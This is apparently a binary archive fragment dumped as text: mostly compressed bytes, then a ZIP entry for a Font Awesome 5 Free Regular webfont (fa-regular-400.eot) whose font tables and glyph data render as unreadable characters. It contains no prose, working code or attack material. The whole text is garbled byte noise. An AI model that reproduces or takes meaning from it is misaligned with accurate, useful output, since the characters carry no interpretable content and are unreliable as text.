%+u$]Tj4Ǳ 3XhBL'(=0`{9ks"΃1,~z%꿢MCEX̡]EĀ-+#+Ί9wyOJg!煺㞃,ɾ~٩+P"
&fvEK!K>58wo։Kk@ٚeZ,LIF>5D?rcwl=ځ{N/@#NzPw~M%4qII;CD"6$.)Ei'*k.oA43>F$N=?={TYKMMŴ46aZD$~D`b"X9ys>U"2#2-?"7ey&a}?>v`##p(>xN!}-ؗl	0]%
cUl0rl8/$E/;"#	RH$bDq.xΉ@D֗H DL9CPzbǶ61dB S+qBi~HA!t d#@Pŉ)G}OgN|&s2.<XBd(16֋-Db,zS фH\z\A7]8d$wiC9Մ4*r ||Dw5^UzCuOn[\RBוv
uhn^/Oϋ$9ܜMbJ@Ƣ+,^XҴՔR4沉XRoʶs$MQsA HIHVa2K!5ԚSxgGpP" sZˊ˾VDckVg|v>%Lx),Ԯ̺*v,!AI^ՙ`Qa@HIFH8P/dd05#'9+}2Z+puu=rGDGz5"+N1HBASZ6;X<̮C;e'?#e}T{hfO+ӓzkz&uBK!JFo$4yA0%hdXqR,Ɨ3[& tbx6J2)@wBlc7;a-: F٢߯æ
lJ!*X֋[YXIO
t
HN/
jE'u{,6D"MRO;0:\cWo N=^b&t7k=ŽpXC$K^bbϨ%8_6`ܤ<VG=o1(95!r'n&g?fuTZP)s9/6if@^dՙwqAptKPW<9Wa3L!hyrisq7=q1Ps8ʆ 
oxX}_|e#,Cn鵥YФvO|ULvHOTh)I@uVc=`w#,Dm+:V홑йrb`gR&CC	i+Gpc`+aL$\!K) EDbS
}JR/JbGĶ%yISy#?(ƕ%q_T𱑖b-6[ 
ou.}HN(%;@58{e@M#˞oE^0[ĪjDhu) /a-ZnK$kty`w+S^BBؓBl@~Q@*:3L ;TQQv:Ξl~ UcКu&U,@O;"(&D2v8[FWc8Wg8YsdXG:#c5hy<ļ.kn^Ɇ*Hr'
2A	au.`|L}DNy+jܧMsõ89Zp17[tl>l\fYN5Pvnjo8-5nθ( qf,3xaSЪ<K廫Y"xl2n9E2T"w4b=_33N%Y)Hˑ](mDhq{6.n;xnTP@^xd"]8`DƳRq(O/W_jK$ɋoyME1,.J4]/3No%vHNH_"(gu,2"n8Ǐ67NzpY`-fsjJ'Ô0G~6\6\||9d:s%XeƤ<BI;)Ӹg\3a}ƫWh]7( P~쿔V?ҨĐYT!дgeCtX>e6=@) zwqlw#'mⶍm/gW|& (nH`ؓKi:Sk3r?~OP?oUDE9G-DDlx"zχgDmJaz$.M:o]*A׌S+:ǈ]꤈]*w1?C*%%7SƣIKM&0/ng[t'_+DvwAbcf{S.$ĿOK
=~z$|V6T>:>5$҈Q$ӿw}j!')S;9v6ܮ8mLGLud% L6x;&웩,i>ZPBw2P]-蚤FW=&h
i'e<Ptv_Y֮lb((	@YC 
3YU"ؑPBR9Xs}"C!0w
Z/MArLsۦe8U<?n/,&ǟҜ9Km4/?"sO~aztT( -GK*]S`GG(=k+ 2"ˊԶ(>2t4?/ơ(V#ސKоיl]&	* g"b
~i#"9Ϝ%k(:ckaY˖i:)Yv1;#C4nZ&&.ݡ1N4$f7V#7ɛ1~
b3¬s #	H%TKRM0S\NBS3$OYg"i)Mt|Z?iE88\YW3r9>X1BmN QKݼxtsBW4p<$_(Uk\SnwvA!l$JRd Νne]&i˓cXIy1MFn mKܑ݈Ps6Iz,Ao3 ^7fvښ1}g1Sr9'GޞBh~F t+VnDZ?'w'Ԇ:FJ=b|vDDŮ1IY'Rv= +<0wZ$U7567i:Jik:쀬`f"4eۇ .w,JPi]\Ƴ	V=;9$>^/FrI:%v$ [H܉l% u]*Firæ=/rBjW,,Ao˪of?8`4bO[m<G]8NH{eXz`NL;A*(=)-P?8/)nn[I" 'W+7tךqK8	ʐ
:P.90dkʝ)-RΨ`0[ͪbT3QH7>b!MM $elѬRA:!*h/Ns|U 7WU}hp*\ϹIT2o i34miN1wg8P@\ƜhIo7v^[3A{ﺏs;ț3mW<r_yŃ

uɲJ+^ _|ɑG77g7o>ЙfTM+6եy+E&tOi-啈KI?^=*<?!52&j!Ջ~Y;EAn*9LQl_M$g([_L'zEdMH%8Ht & "XtUkhiO'Z^]O2E
 VJ	zO,3@qK`& u9Ebiş1t*|(hX-p߰sO#bWkKх`]Fď6gCp\@+hmo{#\`Nqn(MdI(3:my=lmԸ`["AT⚎,2Yt3ھ%=3]BxYtD1	>~gc궲|u_nvIcc&O=QQO7h6]b3sjW-(Zd-3W_|T'$ZUߐ~pvV_E o;ޡάZ8B6mcTA3Z?!llEنQđC@:դ:n{Tu3Z?nx7zBlo,"QUc04{3`c/h}ڑNqrD)&2-{yM%BU0AOoCIBNɵ	`Dis:yZ]"ϡ]^"7.=?DaImT|v^/dA''Z]m-AH-a$uX=u$ґ(PRZs|މYI;k53W{p
GDSDeK"nO]6af(&{.ܻ)k K?*I22;*!q"x3:02LtZ8	B-xjWKٱyv
R:`~6ð&<֏͍#؉\".Q`1鵻{9[ǹP˗?W/ŘkE33.Bfњ8j9yqӤfUB la}pRwF(SPDXQt_u0,]x<Kɼ`)
M1D`B{jKL)PRW57?qU֚1|z9DC"iq-,vۗnl\DƋhbwi>		,J
 Q=ߥL1JI1}HJ܆eF`X
n.]Sr4I(%R7{+/̀D=WZK9XC{g:+x{ByJI$D"e<(B^,q3˛̓p!: X̽?3B.-!"z[WCyx_uuv`Nm_?l}+9ވ2vky{@~{"Ss	d؃<א#ۘ]ΞHTDe}u2!%{u(]f]#.Dّ*pEG4T[FU̎hlH9jb9zy{~TZp`Se(|6wƐϸ\ n,}XHo[fw?E{9U0x3wjEԂҖnN3EWYv~Em!R2?I(ƻǻKryVc?O;SE?gy
z8;\}rznCggro'۹rw^齋eΧ=5"Q*L%4+"டʍ <yΌ } BZ5$'l;H\(0p.k,) M\ly`HQcOSyIXj2(b{ΈM!Vɘi{RLd/Y2faU{#Bx-U>I-\oC).N	`ĉ[}n~;t=aE#J'{7k>=(fɂKh5GK'I]81+0]Ò+إMU0
8"(\Z޼2I]t{ʸ9Y,49V&'r|Xiή5#୘ƁAZ)Rxc;{O=3^ZX)ƨUCjqkbWN1eɭŞ4Er
|C %2kݒTXkP~g:Wc(PTrZHRN"
O pyL+	Έ{**|b^W~w
pS?}_а0hP[4qK`Rg`TPpخ5;MuKed:x	{Fס)؋4T{m&rW\	0xD$fAf+!8[Aty0`}ru[e1t@%I8p`Y퉖\[[[-\T;f:A7_T=n})e[[LdhžAOETW:{}Kbq*%tUD1g[r8(r{rq6߸<Seu*xX.'΋KJ/mk`_GD{#:60 YM@[K:w. C@:JZsbϊT] $dqY(=іdt@'VYR5$cQK+ijSJil߯XLηq2PШU#qۯ\!fh%akI%V2Ep!5xRkCf;ŭK:j;w5QډGu@)ot6QGc9i[:8YjUnU!Rڳ5xFǮMhZ.!^ږ4[WWK;gvxz%E><mA@R]سFnHG*F;NHe)I
~9^кb%Gb	5;DV]T*-lQRV5efY:*4$ɠ~phөGʱ4o
~:ƝLs?ۂoc5cC	[|idVK2K9̉cL泬.},hKAS~+T~VN@C6Daݒ	HF=;?d6ւRK&koxvbͨ@KgLjzy2:4%9-Om1֥T61Q/=o=tG.qMwVba2݃9hzY+o1:=%R[e]!7oZf~\On/x(ZN71zl}lel=o|+{W^F怩I,<.8HxY+CZ+Kǥ{uM.zX1YG#ʲҞFsplT<<~:16z96>S6Ia|
~kYsmrSgΗzie#* 'ⵠ;}ph{`aQ28,q/?Yp;n<l2sz4eqWYf0AJ-^i#|[Ϧ%[%^[Ge=f;sX!36s`{G	3$4?SD8ue)<^֊gXn/tմX^,	<`Xg.W;^WGr|
\6O#1g.W_#%-2s6
|U-Z9/XwǞ_i	_H<8''}[aOK%'kpD)E˧$Qm{+4GLD
Ƃ!?x:e/=qK秜ެ0^/馛ء2%0AwPSء]nmЂ{r౑0dv=CѺױ?0NK>hס]${ϵh$޷<8\u.2FL2ȍɃ<O6W\YQ10qp8l	IH)PrƝO^P_@AFNͰ/Ӳ04ˋquq^~? B0b8AR4r JjaZz~FqfyQVuv`8ObZoL((ɊiَAIEYM8˺y}sCHa8]n7f5Fg0YlEbT&W(UjV7Mft{xzy#($E3,$+ôl $ae~NͰ/nQY^Uݴ]H#AEX%Od{oǒV
yd@hD+GxYNAx,}{{Z_pǂU^Zк7g/أ)կF{i(2|9fKW#z*9#/ZŇfcs˾C^4}ɰU6Z{N-WCkOj`֒03@]5qTHl:ֺMѸ¢Տb%rJ(ֽЀH>J7h
ڄOu~3$N
;-@Ψ\.(!ʆ>!?5!=a{OJxܙ7pmԟxqt7Kp2芛ݝ0D
sK|I(.c۔޴ԉ!plRnd$xhmKǂQlǾ C%I={yeƲyuo\|$/Ԯcjm<Q%e	~}a!W,QUv+2;rk% 'Lԗ;0=j_?",Ԛ=Gz4f!WLǃUw'~jzw-j@'{wN?TǏa{㈓1	c6A.#93*SMlo%efH!>ޜ~/]oWO(-Vg츷Ƌ8cxcآ
bxTF1rp˦oUdcoSiVVpм$UF@h/hdjC_]r0Kb,%QgUkMWhſ/g|4}kT>{^3avr=M0ktWݳcGfXÍd.&oP.ߐ|@yRQy\`9`uMiP0L%>"GZ>cgnR4IPF}3{6#OZ̺wN%AJANacY9|Qur.ldu!hfXGnSAI7H KS?1Ek6PnWo2>=/4c61.fP$"ĄRa!ٿ)VCއ].;6udi}
RTgrv*j*AW:(3FѫE|R%ӦAjPjhΈ]/m[K7vVwoX@nP-i*-Ɖ\'2PoNhBeې}j$BY̩ŲCHF>7_[I6rsڋjn-6=ξ
}4( qdZ>Q1	u'u6tk8՚ǵ!B[ؠobpeWMY0]tڧŢw!_}Q	a6T=DFW]㋴kθ %AVÃ߰Z O2ڇ~)ꓶ듵pmOqi~~UU* fY`8p^аC\vS$dKbNdi* ]gi<gk7O:c=Z,yYP70I9ZXֿdbuz7y_`څPèhy35U$ԯ]?Kc)R@=kb5c.}^1ɭ?)0Pg˦ҹ|FQanhylܩ$lp)Kxri_]_Wp0O0IrB+:#yZԛ=~Q[Vy;4wYfE!|p-fIjUNql|J0_vF)n#h7ebD:+3Ү8L+z(`p&=1/CQ
z,r@.\ȢVyw/jкӘ-_X+2QpZ[bqyp9>1ItaqYuk=#o-̽|'zs0l5ө䝶uvF{krv?n;lᆥg%dw+[d+.ZGV_ PK     N\H'Z  Z    webfonts/fa-regular-400.eotnu [        Z  0                    LP                    pS                  6 F o n t   A w e s o m e   5   F r e e   R e g u l a r    R e g u l a r   L 3 3 0 . 4 9 8   ( F o n t   A w e s o m e   v e r s i o n :   5 . 1 1 . 2 )   6 F o n t   A w e s o m e   5   F r e e   R e g u l a r            PFFTMȔQ     GDEF *      OS/2A  X   `cmapǠ    gasp      glyfl  	   nhead9.R      6hhea5     $hmtx t    TlocaEˈ    6maxp    8    name660  w  [postiA  }@     J|Sp_<      ٮ*    ٮ-                                                   @          Lf   GLf                            PfEd  . T      :                @                @        @          @     @@  @  @                     `                @          @                                                    @          @               @               @                @      @             @            @                                                                                                 *"$.>DYnpsu|3DFJNR\e
IM[]tz([Vgz  "$.>DWnpsu{3DFJMP[d
GMT]qy(XVgy|zwZYB81-(}zpf`USCmHg$






                                                                                                                                                                                                                                                                                                                                                                                                                                                     @ |  n*bH*Nbb	^	

:

:6ND >n8(fLD Ll.lDfZhDh  h !
!J!!"f"#N#$$j$$%%P&B&'
'P'''(((l()$))*N*+6+~+,J,--..f//0,01 122p2334:445 566Z677b     $  "/.676>64'&'.7$,$+u**u$O##O$UNOT$	**	W"##"W    1  "  /&?'&6?627/7j  jA	(	Ad>>d||&g	DD
g&b~~bBB     " * 2  %2#!"&=46322654&#"#"&#"6"&462&"264:7OO7344b3#99#3xTTxThP88P8O77O#33#TxTTx8P88P       2"&4264&"'&=4;2ΑΑuuuU C	Αuuu>0

          ' 3 ? G O W  2#!"&5463254#!"3%+"=4;25+"=4;25+"=4;2"&462"&462"&462`lj`pT\TT	uu       ( 8  276#"&#"+"&5&5466325#"&#"63232P,A+=C%gA?		')%gE;f9-4Lf9p
( S		           
   2'4634#!"7P 0ppTvT         # .  2#!"&5463254#!"362"&457676`l9""((xX ""0((xXP    A  * / 7  %76#!"&5463!2+!547&?62'7'&76 
 `Z
0+t:A+:g `
 r
Z+10:A
+:      +  2"&4264&"%//&?'&?676ΑΑuuu.>>	>>	>>	>>	Αuuu>>	>>	>>	>>          2"&4$"264/&?676ΑΑKuuu<			[			;	Αauuu			[	=	     8 @  2"&4264&"%+"&=4>7>54&#"/&7632"&462ΑΑuuu3.
				%@&?A""Αuuu 		
64""       @  # /  2"&54732654'6#".'&47>2267." /AA]A!-*[<oV*J%%%J[0A]AA.!aPa-O5PaaMCCMMC,A#     3 F  #"'&54?632632#"&'7"'632'67.27#"&'&4767z

-AY-Ap/54<oV&%J/54[*&%?-r?-$-O5)"!CM$aP)"!CM      # / ; G g o  7#"=4;27+"=4;2+"=4;2+"=4;2+"=4;2+"=4;27#!"&546;54;2354;232!3!2((`((`((`((`((((`0((00T((((((((((`4444*    &  2#"'#"&7>7&54264&"6?Ԗj/.AJ
5 Vzzz(
&zz.%8FV^^^B3*
             2#!"&546;25#"/#`	7	7@ 	7	7     H  " &  %2#!"&546;32%763!54+'#"7!Pp@P?@PM1 @0jh*@         / D T  %"&=46;2+"&=46;2#3"&=46;2#2#!"&546;27"&=46;2#J		0		=`0		P		0FF E # 6 M  %#"'#"&'&'#"&767&54632%3264&"67654&'32?&/
A<@g;B
,zV@hKeKA___x@1/R21R>'6,'#+7B^6,	Y<71B\BB.# /#$;(E,2         %&?'&6?63  jA	>d?7D	g&D~b   # A Q   &.7>&>6766&&7>2>7>&6&.7>76*
'>D88(%6*
'>D88(%5
,36<FD 
,*(32;" 
	)`
t7*6%(88D>&*6%(88D>&i+
 DF<63+
	!"F<63`)	
7t     @     , 8  2#!"&5463"!54#2=!37+"=4;2+"=4;2  HH`0**d((((        @    % -  %#!"&=4?>3!2!'5!$"&462"&4627	 	i

NNi M		ppM     2 U ]  2++"&++"&=46;2327167>322654&+4654#";2'>'>'4&"2"1$5."S
	@@			*2V,
 **=
	
61"
"(3($/$v,#$= &
        2 V ^  546;&546321;6;2+"'#"+"&'&7&'#"&7;;2675&'&'.#"#""2641"V2*			@	@	
S".5$"10[
	
=L 
,	"1$/$(3("
1"
& =&$#,
      3 U ]  46326+"&=4754'1&'.5463274&#""&#"3>=4.."264j1"'
"(3(
/$v,#$&= &
m"1'$5."S
	@		@			
*2V,
 L=
	
       1 S [  "&=#"&54>76716=&=46;2''26=6767=4&'#3263264&""1$/
(3("
1"
& =&$#,@1"V2*
			@@	
S".5$"10[
	
=L 
,      * 9 B  ++"&546;546;22=#"&=#"3%2=#"&=#"354/&+PPt`JTX
j0
~0@0>*`
X 
0@       + 3 ;  #!"&5463!2#3254/+"&=#"362"&4264&"NzN

*H44H4G"">`"PNd

h4H44HL""        2#!"&5463254#!"3Z`pT          2  2#!"&5463!32>567!5".'&'``#dd#`#FF# 0)N		N7

7      `   B  2#""&54653+"/&2#4767654&#"#.'&546		&		8(	N	PIg,0+ K54L +0,ep		&		(8++%%gIB25=1$05KJ60$1=%
2BGi    % 3 9  %#!".54767>54675462!&5414&"0"&53			H8%:!8,B\B4&V
	
C,:V,B&,C;d.BB.d%        # / K a }  754;2+"3"=4;2#+"=4;2"=4;2#!54;46;546;23232%354;23#+"&=#7#54+"#";;2=32=4(((t((L(@
X
p
X
p(p@
p
@((((T(4((|$${	(

(	CC_

0      + 7  %++"=#"=4;54;2327#!"&5463!24#!"3!2`X XX X``0T XX XX`T       2"&4264&"ΑΑuuuΑuuu          /  2"&4264&"6"&462"&462>"'&>2ΑΑuuu//!fΑuuuc\99'          0  2"&4264&"6"&46262"&42&'&".7ΑΑuuuso~)RΑuuuc-m1           +  2"&4264&"6"&46262"&42+"&463ΑΑuuus(



Αuuuc-}        @   ' 3 ? K W c o {      2#!"&54634#!"3!2%+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2%+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2  ```````b  n        '  2#!"&546;54;2354;225!30((*`4444p*        %.=46"&462264&"t	4Αuuue	ΑΑuuu      '  7"=4;2#7#!"&5463!24#!"3!2ll`0T  `T        #  2#!"&5463!%/&?676`<	[			;		`p`		[	=			    A  2 Y  &='.54767675467'".>7676#!"&546;2+"3!2=42;1+6(-$50I;"!0<*&>))
VT"( 6  )K-;(!9 h)A'%
+`	
	          %  6&?6764&"2"&4264&"\BB9ZΑΑuuu>B\Αuuu     
  &  732/&6%#!"&5463!24#!"3!2}ccK`0Tcc`T       
  &  %#"&?67#!"&5463!24#!"3!2Cccu`0Tcc`T       
  &  7546&#!"&5463!24#!"3!2cc`0T]cc`T          #!"&546;2'!#"&=#r.L h
^rLL 
h      ) , 5  %+"=4;22+"=43%#!"&546;2'3#"&=# TLh
TT<L 
h`      . T \  %#*#".#+"&=46;>7>3232>'2654&+4654.#+2;2'>4&"23&-E/@c
-3	$(Kh	
m&%@

!$*
 #	:/45'N)
9

G%&B"U      . 6 [  %+#".'.'#+"&=46;232>3:32264&"2>54&#6&'6&'6+"#322>54&52$$	3-0

@@	.G-88]b



@%&m"("454/:?	3,$h	
)"B&#6G
9    ( 8 @ H  %/"/&?'&4?'&6762767'7''77&2"&4264&"<G(+(G<<G(,(G5MM[44[MM[44[V==V=Q.!!.!+)G<<F)+)G<<G54[MM[44\MM=V==Vc!.!!.     &  "&463276"3267&5467&jj	%a>!"$h;VzzV0UT2*@Ԗ#(
>$?P9-2zz)$mU2T     
  &  /&?67#!"&5463!24#!"3!2cc`0T#ccE`T          "264$2"&42"&4SuuuΑΑB//B/uuuΑ/B//B         # / ; G Y e  54;2+"3"=4;2#"=4;2#3"=4;2#+"=4;2"=4;2#!54;463!232%354;23%((((X(t((L(@
P
p(p,((((`((((T(4((|$$

HCC          7 = D J Q  #!"&546;2'!#"&=##"''&76767&766>77"6467&'6&7r.L h


6'.$
3N-
x^rLL 
hD.0*["#          R  #!"&546;2'!#"&=#32+"'&/+"'.'&6;2476;21676r.L h



	

	
^rLL 
h&b		+	H		78	
`b		aa
          B  #!"&546;2'!#"&=#2+"'&'+"&?'&6;26763r.L h
#...		^rLL 
h=N7NN($         6 >  #!"&546;2'!#"&=#54;2*#+"73264&+r.L h
HE#	
0^rLL 
h%/c        ( 0  #!"&546;2'!#"&=#57676&2"&4r.L h
 ((X((^rLL 
h@((X(( 
       ! $ 1 @ L P  3#7#53#3#57#!"&546;23#"&=##5#7#"&?53322654."7#5  @    @ Lh
0 P 
-		@         &L 
h`W'a           / =  #!"&546;2'!#"&=#/#"&=46;7664'&>.r.L h
$$)
	^rLL 
h$8$Y

:         7  #!"&546;2'!#"&=#6/+"&=46;2r.L h
5hh^rLL 
hp4%h%     $ ' 0 < M  7#"/&?67#!"&546;23#"&=#7/&?6&?6/5&?99!Lh
	7		7!99!c66&L 
h`			O66        $ +  "&46227''64&"264''&"67&7gΑΑ/p/522/B//B5/p/52258ΑD5UB//B//p/5225/p/522      !  6#"/&='.77'762<
	p+) r%%;`l!|.;T0<2$-	         ' . 5  #"&'&676326767'7&'7'757/?'# ^a&'O ^a&'4_H:'G,4%=/@G<&
G@]+G'%e:@,O+b ^Mb *N
*/%L=4J/}45/J>J%?4I0==   	    @    + / ; G S _  2#!"&546;>32=#!7"=4;2#'3554;2+"754;2+"=4;2+"54;2+"(

!
+@`=lPxhhhhhh

!
  x``P((<     8 @  '&?63!"&54767>57"'675462'&5414&"&53z





>				.	|"&&%:!;B.&



0
	
*#D,B&7&/.B`%       4  2"&4264&"#"&54>32'&#"3276ΑΑuuu3)?=O$@(;&!$*$$
Αuuu)Q<'@%#	%"2         3 K  2#!"&5463254#!"37&546'&76&546'&76`lR@AR@=R@AR@> V6/.4"%6/.4"% 	    + / 3 7 ; O c g o  #32+"=!+"=4;#"=4;2!54;2'35!355#!5#'#"=!+32!543'2+"=#"=4;2'355#+HHH@H@ @   @T`8L@ HH HH@        @  44pppL    
  @ C G K O S g k     %#32+"=#+"=4;5#+"=4;5#"=4;2354;2+354;2'35355#5#354;5#"=#+325#%5#"=#32+"=#3235435#5#4HHXHHHXH      @ 8XHX4   HHHHHH             @XH@             %#!"&5463!27#!3546;T`LLP
hdT`Lh
         ( 4  2+#!"&546;54632=#"&=#"3%254#!"300*0@00*`4       % + 1  32#!"=4;467.5#"=43!2#!2654&"p2//22//2hKjKKjK?ss??ss?LllL`LllL        ) p  6+"&5<&4&/&=46>62654&+"&=4&+"&=4&+"&=4&#"/&=4&354?6$C	+b'8#I$@:H							a+q,(rd	!U"49#,)(r				()		t	)9U
d      Y  6+"/&676546>654&+"&=4&+"&=4&+"&=4&/.376u.
w!3 P4			

	
sO)7~!($%)!ф

L		
		
		
	&	w          ]  "&7.7#"&463'.>6#'32?6=4/&#"/&+";2+";2#" "(
X++^O8+1b"wFFw	b


			

		

 6 
#+<+	88857'%07@	;

			   @  A  %#5'&+"&546;7#"&=463!254/&#!";2+";2-d!4$r!/!&'v	rc$|H&!$40/!!!L@	'     ( i  7.7>'&67>767>2+"'&376=4?6&+"&?6."+"/.+"/./&5' /0 )  
	[|

&

*-*#5B82"i3 %k
	u`	
%qE2    ^ p    6+"/&676546266&;2?6=4&+"&=4&+".=4&+"&=4&'546;2+"&7546;2+"&754;2+"f!9%"m!'7'!-m				DL		K(#Tw7''J
w

wT

	

	#

#	

	R`		`	`		`		``  # ^  6+"/&7'&676'462654&+"&=4&+"&=4&+"/.;2?6j(%'758%	+<+#0			

;@7 #Fw"b1+8O^++XF

		

			

b	w      , 5  2"&4264&"+"/#+"&=46;2'254.+ΑΑuuu6+0 'Of(: Αuuu#ZTU3)!
@        ; C  %++"=#"=4;54;2327#!"&546;54;2354;232!3!2PLLLLp0((00TLLLL`4444*       + 3  7"=4;2#7#!"&546;54;2354;232!3!2||0((00Tx`4444*        ; C  %//&?'&?6767#!"&546;54;2354;232!3!28	66	66	66	660((00TI66	66	66	66`4444*        ' 7  2#!"&546;54;2354;225!3%/&?6760((*	K			,o		`4444p*Ɏ	K	-n			     @ ! % * /  2#"/#"&54>?6327673#0











	
5=?	Z
5=?:./,!/         *  2+#"=#"&54634&#!";?326&&}`&&			C	&&^T& & 			<2
	         /  2"&4264&"%+"&=46;2+"&=46;2ΑΑuuu(	0		0	p	0		0	Αuuu								           "&462264&"+"&=46;2Αuuu				'ΑΑuuux				      # + L f n  3#"&5#'#"'&/#+376;2 264&"6/&'&6?#"##36???5#'&+"6?6264&"y@:#;U			@v0Q			l	-	'9>*a!
%		-=TA7gn			@ 
 	L		 0
		W	;#>X
 
$I><3
S0
		         5 `  #!"&54767>254'&'"."#3!2'#".'&'&?6232>7676`(_dQ4/V 
7
7
	77	!K
	OB)
	%F
-

-
	,
,	     ' + 3 H  #32+32+#!"&5463!232!6"&462"&=463232632#@P4&&4&	''	 @(@(00(`&4&&4""   @    0 < H T  2#!"&5463!6"&462"&=463232632#7"=4;2#'"=4;2#'"=4;2#  4&&4&	''	>ppppp`p`&4&&4""@@@         " 4  2"&4264&"&2"&427&'#"'%654&"6322632P88P8L((7ΑΑ8.-%%uu%)@%$%@X8P88PX((ԑΑ0&

'$4@SuuS@44

        ' <  2#!"&5463!"&46;2#"&462"&=463232632#P `		`		4&&4&	''	`0``				&4&&4""      @  $ 0 < H P  2#!"&5463!3&54632326327"=4;2#'"=4;2#'"=4;2#"&462  !''9ppppp4&&4&`p ""P@@`&4&&4         2#!"&54635!3!2```v          !"&463!2@          &  2+#!"&546;54635!%!32000@00`@0    %/&//+"&=/&4?5/.?&/&?'.?>7'&/&6?'&?6'&6?65'&?6546;276?>76/76'	H;		:H	''"PHHP"''	H:		:H	('"PHHP"]"Q*T;.		.<T*Q#	**	"Q*T;.		.<T*Q#	**	      0 8 < H  %"=4;2#2+#!"&5#"&=46;7>;2'3'&+"!7"=4;2#				R"d"^L P		P		9	9`P0     @  $ 4 < G  %#!"&546;#"3!2=!"3!2=452#!"&5463"&4627676!
tZtx""1((hH  0
P0  _""((hHP       1  2#!"&546;462&"2644++"=#"3!2PP&4&6x**`&&lT$$      "  2"&4264&"74;232/&6;ΑΑuuu(CddCΑuuutdd      "  6462"$4&"27+/&?632Α/uuu-tddtYΑΑuuu(CddC       "   "&462264&"54;546&=#"Αuuu-tddt'ΑΑuuu(CddC     "  "&462"264#"=#"&?6+gΑΑuuu(CddC8Α/uuutddt  C      ! $  2"'&?63#3%3'#37'377#ddM94D44?D4dxD3aax4U0``````        % 5 E   2"&454+54+"327#";22#!"&54635"&5!#2!46P88P8@0%`%%%0B\BB\fX
7 @%%%%       7  2#!"&54634#!"3!2'//&?'&?676`ll==			==			==			==		`vT==			==			==			==		       + >  62"&462"&462"&4&2#"'#"&7>7&54264&"6?Ԗj/.AJ
5 Vzzz(
&zz.%8FV^^^B3*
         ' 9  2"&4264&"$"'&>276&"&46272/&"&7>ΑΑuuu6//!f!%
&	Αuuu$99''A)				
          3 H  2"&4264&"62&'&".?"&547'.>6"&5"'&>?6ΑΑuuuj">'	

P	

	P
Αuuu)q	

@		       + G O  2"&4264&"6"/"&4?'&4627626"/"&4?'&462762"&4ΑΑuuu4&&4&ΑuuukL&4&&4   	       ' / 7 ? K  2"&4264&"$2"&4264&"62"&4&"&462264&"62"&42+"&463ΑΑuuuB//B/<((&X/B//B5((&



Αuuu/B//BQ((,B//B/((,          -  2"&4264&"6"&46:"&42'&"&76ΑΑuuuN<=	141	Αuuu]"		          / 6 = A E I M T [  2"&4264&"6"&462"&4622+"&=4635#375#"5#75#5#75#5#326=4&+ΑΑuuu(		h000p000h(		Αuuuc#  `	(	((((		       ' /  2"&4264&"%6#".'&62&"&462"&462ΑΑuuu2M)6()Αuuu"
".&
N        # + 9  7"'&'6762"'&'6762&2"&4264&"%6"&'&62qΑΑuuu2MRM)		""		""		""		""ڑΑuuu"
".."
       4 E  2"&4264&"%6#".'&62'&7>32/&"7&7>2/&"ΑΑuuu2M)6()#	&	#&#	&	Αuuu"
".&
V)))    
  + E Z   "&5476".'&62766/&"'&7>27"&4632&#"2654'2$"'&7>32/,..6'))M`	&	#&#dΑgC:2:Suuu&	#	 "EE%
".)),%(gΑ" uuuS!)       4 < D  %6"&'&62/.7>7>7/&67676&2"&4264&"bMRM)pFF	
ΑΑuuu
".."
>FDF	
Αuuu       , :  2"&4264&"%6#".'&62.?'&63'&4?6ΑΑuuu2M)6()!!PPPP	!!Αuuu"
".&
/((0000((    / ; J Y h  76"&4767&67632&#"%67#"'67327>'&76762+&/.?"'&?6367>'&676u/")7Hg<5/6S:.{$9Ig30)-S:1C/"
	
4

Z4	

4

&.:T&@R"/6D6I;-E9I;0TR"/s
Z	
4Z	
4p/%T:        6 P  2"&4264&"%6"&'&62'7'&6?62/&%/&?'&6?62ΑΑuuu2MRM)#
##
Αuuu"
".."
G#		#N	##	      % 5 C T i  76"&476"'&'&6"&'6726%&>2&.""&'&62766/&"'&7>2&"'&7>32/u/"M"/Rl#l~l#_r_'Em~mE&ppRM))	&	#&#&	#	R"//"RP 2;;2 1;;>f;;f?	H``."
"|))")       ; C K  2"&45'&"/.32>>54&"&=&'&6276&2"&462"&4ΑΑ8%1;uu;1))Α,		+'_9SuuS9_,
,      ; H U  2"&45'&"/.32>>54&"&=&'&6276/&4?&?'&6ΑΑ8%1;uu;1))!!	PPP	!!Α,		+'_9SuuS9_,
,((0000((         ! ) 1 G e  2/&"&7>2"&4264&"62"&4&2"&45'&"/.32>>54&"&=&'&6276
&
%B//B/<((&ΑΑ8%1;uu;1))
					4/B//BQ((,Α,		+'_9SuuS9_,
,       % - 5   2/&"&76"&4626"&'&622"&4264&"4(%
&
ZMRM)ΑΑuuu						$T
".."
6Αuuu     ) 1 9 A  2"&4#"'&?64/&4?64/&762"&4264&"$2"&4##)ΑΑuuuq				%Αuuu        # E U  2/&"&7>&2"&4264&"%#"'&?64/&4?64/&7662/&"&76#
&	ΑΑuuu ##)&#
&	()Αuuu				)    ! 4 < O l  %#"'&?64/&4?64/&7637&"&7>32'&462"/&>7676#"&4632&#&'654&"320##)F&

%ZS
/4ggg
uuuS-					L

		!	S	1(Αg., Suuu           -  2"&4 64&"6"&462"&4622+"&'&63ΑΑKuuuuE..EΑuuuuS	-<<-	        / =  2"&4 64&"2/&"&76&7>2/&"2+"&'&63ΑΑKuuuu&#
&	#&#	&E..EΑuuuu0)#))M	-<<-	         ) 7  2"&4 64&"/&4?6&?'&62+"&'&63ΑΑKuuuu!PP	!!PE..EΑuuuu(00b((0R	-<<-	      ! ) 7  2"&4 64&"2/&"&7>"&4622+"&'&63ΑΑKuuuu
&	lE..EΑuuuu$
				2S	-<<-	         2"&4264&"62"&462"&4ΑΑuuukΑuuu         ) 1 C O  2"&4264&"$2"&42654'"&547&"&4622654'"&5472+"&463ΑΑuuu<**<*7"@*<**<F"



Αuuu*<**<F

/<**<*H

      ! 3 C K  2"&4654&"5462275462&/&"&7>3262/&"&762"&4ΑΑ8uu8-f-	&
%p(%
&
>.!!.!Α:PSuuSP:r



2						
*				D&4&&4        & . 9  2"&4264&"72&'&#"&46&"&46262"&46"&54ΑΑuuu<&&
As$"Αuuu#.@-P1        4 E  2"&4264&"%>"'&>2''&7>32/&"62/&"'&76ΑΑuuu//!f	#	&&#	&	Αuuu99')%)           '  2"&4264&"62"&46"&46:"&4ΑΑuuu4&&4&Αuuu;&4&&4{         ) 8  2"&4264&"$/&4?&?'&62'&".76ΑΑuuuC!!	PPP	!!PHC
#r#Αuuu((0030((0J6'	
'   V         6                       "       ^       &       !      
 ,              1       U                       	   4    	  6 Q  	     	  D   	  6&  	  Lz  	  0  	 
